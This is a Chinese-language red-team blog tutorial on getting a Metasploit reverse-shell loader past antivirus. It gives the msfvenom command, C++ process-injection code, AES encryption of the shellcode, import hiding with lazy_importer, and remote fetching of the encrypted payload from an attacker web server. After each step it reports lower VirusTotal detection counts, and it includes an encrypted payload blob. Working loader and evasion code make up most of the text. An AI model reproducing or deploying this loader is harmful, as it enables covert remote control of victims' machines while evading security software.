0x00 前言

今天写一篇静态免杀的文章。思路来自于:

https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html 

核心是 AES 加密 shellcode + lazy_importer 去符号+shellcode 分离。

0x01 准备

vs2019 开发

Kali(攻击机):192.168.94.141

win10(受害机):192.168.94.128

今天用到的工具是:CFF Explorer

这里会用到进程注入的知识,如果你之前没有了解过的话,可以去我之前的文章看一下:https://fengwenhua.top/index.php/archives/65/

先在 kali 上用 msf 生成 shellcode:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.94.141 LPORT=1234-f c -b \x00\x0a\x0d

然后用 nc 开始监听 1234 端口

0x02 裸奔

开局直接进程注入,不多说了

#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
int main(int argc,char* argv[])
{
unsignedchar buf[]="msf生成的shellcode";
    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle =OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer =VirtualAllocEx(processHandle, NULL,sizeof buf,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, buf,sizeof buf, NULL);
    remoteThread =CreateRemoteThread(processHandle, NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer, NULL,0, NULL);
CloseHandle(processHandle);
return0;
}

vs 选择配置和平台,然后生成解决方案

比如我们想要注入到 explorer.exe 中,对应的 PID 是 6244,如下:

过一会,kali就收到了反弹shell了。

现在我们上传到 VT 上,看看效果怎么样,其实想想就知道,肯定惨不忍睹,毕竟是 msf 生成的 shellcode。。肯定早就被扒光了。。

但我没想到,还有这么多没有检测出来的。。。可能是因为我的程序是x64的?

其实整个 shellcode 加载代码里面,无非就两部分检测点,一个是 shellcode,还有一个就是一些敏感函数了。

所以我们可以对这两部分做一下处理,期望能够绕过检测。

0x03 对 shellcode 进行处理

分析

想验证检测点是不是在 shellcode 处,很简单,把 shellcode 清空,然后重新上传vt

可以看到,足足少了4个,因此证明 AV 确实会检测 shellcode。所以下面开始用 AES 加密 shellcode ,期望绕过这些检测 shellcode 的 AV。

AES 加解密

tiny-aes(不可用)

注意:下面列出的,前面两个库都要自己处理 padding 的问题。。。我是后面才发现的。。不过,不影响整体思路。第三个库我没有测。。

对于 c/c++ 来说,AES加解密的开源库一大堆:

  • SergeyBel/AES
  • kokke/tiny-AES-c
  • kkAyataka/plusaes

这里为了方便,直接用 kokke/tiny-AES-c 这个库。打开对应的 Github 仓库,把下图的三个文件下载下来,放到我们的 vs 项目上。

这个库默认使用 AES128 的,我们可以修改aes.h,让其使用 AES256

这个库的用法也很简单。首先把头文件包含进来,#include "aes.hpp",然后加解密方法如下:

#include"aes.hpp"
// 提前定义key和iv
unsignedchar key[]="16的倍数位的key";
unsignedchar iv[]="16位的偏移量";
// 声明这个库要求的 aes 结构体
struct AES_ctx ctx;
// 初始化
AES_init_ctx_iv(&ctx, key, iv);
// 加密,加密后的结果存放在“加密的内容”处
AES_CBC_encrypt_buffer(&ctx,加密的内容,加密的内容大小);
// 解密,解密后的结果存放在“要解密的内容”处
AES_CBC_decrypt_buffer(&ctx,要解密的内容,要解密的内容大小);

这里为了方便,直接在相同的项目下操作,但是一个项目不能搞两个 main 方法,所以,先把原先的给排除了,如下:

然后直接新建一个encrypt_shellcode.cpp,代码如下,得到加密后的shellcode:

#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
#include"aes.hpp"
int main(int argc,char* argv[])
{
unsignedchar buf[]="msf生成的shellcode";
    SIZE_T bufSize =sizeof(buf);
unsignedchar key[]="fengwenhuafengwenhuafengwenhua.";
unsignedchar iv[]="\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_encrypt_buffer(&ctx, buf, bufSize);
    printf("Encrypted buffer:");
    printf("unsigned char buf[] =");
int count =0;
for(int i =0; i < bufSize -1; i++){
if(count ==0){
            printf("\"");
}
        printf("\\x%02x", buf[i]);
        count++;
if(count ==15){
            printf("\"");
            count =0;
}
}
    printf("\";");
    system("pause");
return0;
}

然后修改原来的cpp,替换原来的shellcode,加入解密方法,如下:

#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
#include"aes.hpp"
int main(int argc,char* argv[])
{
unsignedchar buf[]="aes解密后的shellcode";
    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
// 解密shellcode
    SIZE_T bufSize =sizeof(buf);
unsignedchar key[]="fengwenhuafengwenhuafengwenhua.";
unsignedchar iv[]="\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_decrypt_buffer(&ctx, buf, bufSize);
    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle =OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer =VirtualAllocEx(processHandle, NULL,sizeof buf,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, buf,sizeof buf, NULL);
    remoteThread =CreateRemoteThread(processHandle, NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer, NULL,0, NULL);
CloseHandle(processHandle);
return0;
}

记得encrypt_shellcode.cpp从生成中排除,lazy_importer.cpp,从生成中排除选“否”

然后重新生成解决方案,kali重新监听 1234,执行如下:

ok,成功执行。上传到 vt 看看效果:

可以看到,对比裸奔的情况,少了一半检测率。

但后来我发现,并不是每次都能成功,然后我就开始疯狂的排查,最后发现,同样的内容,加密后解密,和之前不一样!!!!然后我开始疯狂的对比加解密后的内容。

后经过一段时间的查找,终于发现,这玩意要自己写 padding。。。因为msf生成的shellcode不一定是16的整数倍,所以就导致加解密的时候出问题了。。。

https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html 这个作者里面的msf生成的shellcode 刚刚好是16的整数倍,这你敢信???

这个库不行,于是我又尝试了 SergeyBel/AES 这个库。又尝试了半天,还是padding的问题。

别人实现的AES

最后,没错,我懒得自己写 padding,于是百度,直接嫖别人的用:

https://blog.csdn.net/witto_sdy/article/details/83375999


按照博客里面的,在 vs 中新建好文件就行

在丢到lazy_importer.cpp中运行之前,我先新建了一个encrypt_shellcode.cpp,在里面对 shellcode 进行 aes 加密

运行得到结果加密后的 shellcode 之后,然后丢到lazy_importer.cpp中解密就行,如下:

后面的操作就和上一小节相同,这里不再讲了。

0x04 对敏感函数进行处理

分析

此时,我们用 CFF Explorer 打开我们 aes 加密 shellcode 的程序,可以看到 IAT 那里,调用了一堆的敏感函数(OpenProcessVirtualAllocExWriteProcessMemoryCreateRemoteThread and CloseHandle),这些肯定是 AV 必定检查的地方。

所以我们的应对办法就是,要么换别的同样效果的函数,要么就想办法把这些调用痕迹清除掉。

lazy_importer

这里用到的就是开源库 JustasMasiulis/lazy_importer ,同样地,下载下来,导入vs项目

用法也是超级简单,先 include 进来,然后把原来函数改成LI_FN(原来函数)就行,修改如下:

需要把所有的NULL改成nullptr
#define _CRT_SECURE_NO_DEPRECATE
#include"Windows.h"
#include"stdio.h"
#include"lazy_importer.hpp"
#define BUF_SIZE 4096
#include
#include"AES.h"
#include"Base64.h"
usingnamespace std;
constchar g_key[17]="asdfwetyhjuytrfd";
constchar g_iv[17]="gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string EncryptionAES(const string& strSrc)//AES加密
{
size_t length = strSrc.length();
int block_num = length / BLOCK_SIZE +1;
//明文
char* szDataIn =newchar[block_num * BLOCK_SIZE +1];
    memset(szDataIn,0x00, block_num * BLOCK_SIZE +1);
    strcpy(szDataIn, strSrc.c_str());
//进行PKCS7Padding填充。
int k = length % BLOCK_SIZE;
int j = length / BLOCK_SIZE;
int padding = BLOCK_SIZE - k;
for(int i =0; i < padding; i++)
{
        szDataIn[j * BLOCK_SIZE + k + i]= padding;
}
    szDataIn[block_num * BLOCK_SIZE]='\0';
//加密后的密文
char* szDataOut =newchar[block_num * BLOCK_SIZE +1];
    memset(szDataOut,0, block_num * BLOCK_SIZE +1);
//进行进行AES的CBC模式加密
    AES aes;
    aes.MakeKey(g_key, g_iv,16,16);
    aes.Encrypt(szDataIn, szDataOut, block_num * BLOCK_SIZE, AES::CBC);
    string str = base64_encode((unsignedchar*)szDataOut,
        block_num * BLOCK_SIZE);
delete[] szDataIn;
delete[] szDataOut;
return str;
}
string DecryptionAES(const string& strSrc)//AES解密
{
    string strData = base64_decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn =newchar[length +1];
    memcpy(szDataIn, strData.c_str(), length +1);
//明文
char* szDataOut =newchar[length +1];
    memcpy(szDataOut, strData.c_str(), length +1);
//进行AES的CBC模式解密
    AES aes;
    aes.MakeKey(g_key, g_iv,16,16);
    aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if(0x00< szDataOut[length -1]<=0x16)
{
int tmp = szDataOut[length -1];
for(int i = length -1; i >= length - tmp; i--)
{
if(szDataOut[i]!= tmp)
{
                memset(szDataOut,0, length);
                cout <<"去填充失败!解密出错!!"<< endl;
break;
}
else
                szDataOut[i]=0;
}
}
    string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
int main(int argc,char* argv[])
{
// 加密后的shellcode
char buf[BUF_SIZE]="I8mLz2JN2G9JVrrDFi7LtccqhCU7uccBqZwB4PvkF7N+5iCaKiJR+LYI391ZFJS6ieyEDFLCaEnV6A0zq+P1uyW6HKEEaF4E9FRztJuTLhiukABcgx0z0b9IeGWPLjRS+QywJoEpMZJtJwIDCiF+NRme/Y56ZUZtR2VKf2ZbjndrGmtVlNlWgG1+3noUS+fOqeW+EzflCLQl+ysXmBsaFXunsxpQGiYt2D6nuZ6ZWitp2HnGo/XdpKyOp6EXV5DczC5MOJQWDrog2nATb3uEibBV17OIldHyfTnAENOFMnI0H3L/Rg8oaBKC/Ab0ZVWtlerqfNwxeozb81c6KMfnFsEzxX2Bx1ZYU4LCJfkkAmDfZzDYuko/h7fbuf+9tnjOhsIF3v7Vlf0YVfkb4Spzrg/Ze9BqGU0He9aUpStXvJhTDuQQAOlXxexkK5Ve50T15fGh3VjfairouotBjLPvrRJI7pP821ZAxFJO2mZGwNDJrM8Bhw9+7Ia+bz9V6mMwKmnHwZixT1HKrYnPx68kVWrgWIE3bTUfYYl4RHSerCLT0fBTK+fQg8QEDnMDZJEkR/lbtg7dy4Mxvdo5Bct6dQsg8NymqQRZ2QAM8MgzbxbeozLYKx+s1n5pmxnVY9btuOFWXfWl5+sP49PnExHb8x4SFU0WamL/ChasjDxyQ7jA2u/ezxhFjKW8AsUGxMF5bdXJnY/I5373nCt+Sl2a6q80CFYzZ7IbipLhtBAwUlbURS5hZ/dXcRI8BXsOhcBhglCjCGA0gjO7W7Cp7Icbet+dhYsrhXq+0R0IkrQ6Q5e/gA9AVP60C8aKxLYyeumedE0M9bcg8w6gDwCGsQ9xMzn97sDuqxR0a5a0OT81Veqqp+HQZ9OBiqusDg6eX/mry32sWdgHGemMS9q4F8GX7yd4amxcnfBwJn7n+6E96GBTlF6QzRMfsol5QG0oEF/QvNZGYz3L6ALme8YW6/6U6NznUEFj+Fcg/tivRuX83VDWMP4OW2qydM7kIHY/RXWTDO912FdiBdDbIniVE+q/RQL8UY9W+OqcUm2+P91QSlUGY+CEm14JGbbneMxHoIBMUX9EigHNiHldTzhjA2Vzfsh4DpEU164xK8HrXmnoya0wvAt36MBpidTksvOjzUhLynPkarjK+cYtxxSUpTkQFP+g/Umfx0k7wWp1EIemssWBx51TiOKvZUFxS36q0tddR4CxFIZ1yTYGswyHnj6ffhoGtCpG1/RVy2Hw22Abl0YoeEzG3QM5TyknLGILspCb+zULv/jgGVmK17CBq00dNcHiT1s79l3ek893nzoif4EdBpEqayyczbbuymPfq2Bx";
// 解密shellcode
    string strbuf =DecryptionAES(buf);
//cout << "解密后shellcode:" << strbuf << endl;
char buff[BUF_SIZE]={0};
for(int i =0; i < strbuf.length(); i++){
        buff[i]= strbuf[i];
}
// shellcode 处理,两个两个一起,还原成 \x00 的样子
char* p = buff;
unsignedchar* shellcode =(unsignedchar*)calloc(strlen(buff)/2,sizeof(unsignedchar));
for(size_t i =0; i < strlen(buff)/2; i++){
        sscanf(p,"%2hhx",&shellcode[i]);
        p +=2;
}
    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    SIZE_T bufSize = strlen(buff)/2;
//printf("Decrypted buffer:");
//for (int i = 0; i < bufSize; i++) {
//  printf("\\x%02x", shellcode[i]);
//}
    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
//processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(2052));
    remoteBuffer = LI_FN(VirtualAllocEx)(processHandle,nullptr, bufSize,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, shellcode, bufSize,nullptr);
    remoteThread = LI_FN(CreateRemoteThread)(processHandle,nullptr,0,(LPTHREAD_START_ROUTINE)remoteBuffer,nullptr,0,nullptr);
    LI_FN(CloseHandle)(processHandle);
return0;
}

可以正常上线:

再用CFF Explorer 看一下,发现已经看不到了。

丢给 vt ,不错,又少了1个

syscall

除了用 lazy_importer ,还可以看看 syscall,本来想写(shui)一篇 syscall 的文章,但是发现有师傅已经写得很好了:

http://ryze-t.com/posts/2021/12/01/%E6%B5%85%E8%B0%88-Syscall.html 

所以这里就不献丑了。有兴趣的小伙伴可以自己去看看,改改,我这里就不搞了。

0x05 分离shellcode

在前文中,我们对 shellcode 进行了 AES256 的加密,又使用 lazy_importer 清除了敏感函数调用的痕迹。现在 vt 还有5个报毒,所以这小节,我们再尝试一下 分离 shellcode ,看看能不能再降低 vt 检测率。

这里直接嫖 

https://blog.csdn.net/lgh1700/article/details/7713516

中读取网络 url 文件内容的代码,当然,要简单修改一下

#include
#include
#pragma comment(lib,"wininet.lib")
#define BUF_SIZE 1024
LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsignedchar* buff);
LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsignedchar* buff)
{   
    HINTERNET hSession;   
    LPSTR lpResult = NULL;
// 这里把 "WinInet" 改成 _T("WinInet")
    hSession =InternetOpen(_T("WinInet"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,0);   
    __try
{       
if(hSession != NULL)        
{          
           HINTERNET hRequest;            
           hRequest =InternetOpenUrlA(hSession,lpcInterNetURL, NULL,0, INTERNET_FLAG_RELOAD,0);        
           __try
{                
if(hRequest != NULL)        
{           
                  DWORD dwBytesRead;                  
char szBuffer[BUF_SIZE]={0};
if(InternetReadFile(hRequest, szBuffer, BUF_SIZE,&dwBytesRead))           
{                 
RtlMoveMemory(buff, szBuffer, BUF_SIZE);   
return0;              
}               
}           
}__finally
{              
InternetCloseHandle(hRequest);  
}       
}   
}__finally
{       
InternetCloseHandle(hSession);  
}   
return lpResult;
}

调用如下:

//远程获取加密shellcode
char buf[BUF_SIZE]={0};
char url[MAX_PATH]="http://192.168.94.141:8000/buf.txt";
GetInterNetURLText(url, buf);

kali 机器开启一个web服务,然后运行代码:

同理,丢到vt上,不错,又少了两个。

0x06 后言

其实思路还有很多的,比如我一般用HeapAlloc代替VirtualAlloc,如果target不是某数字杀软,我还有加vmp壳等等。由于篇幅原因,以后有机会我们慢慢聊。

至此,本次分享到此结束。分享中用到的代码,我已经上传 github: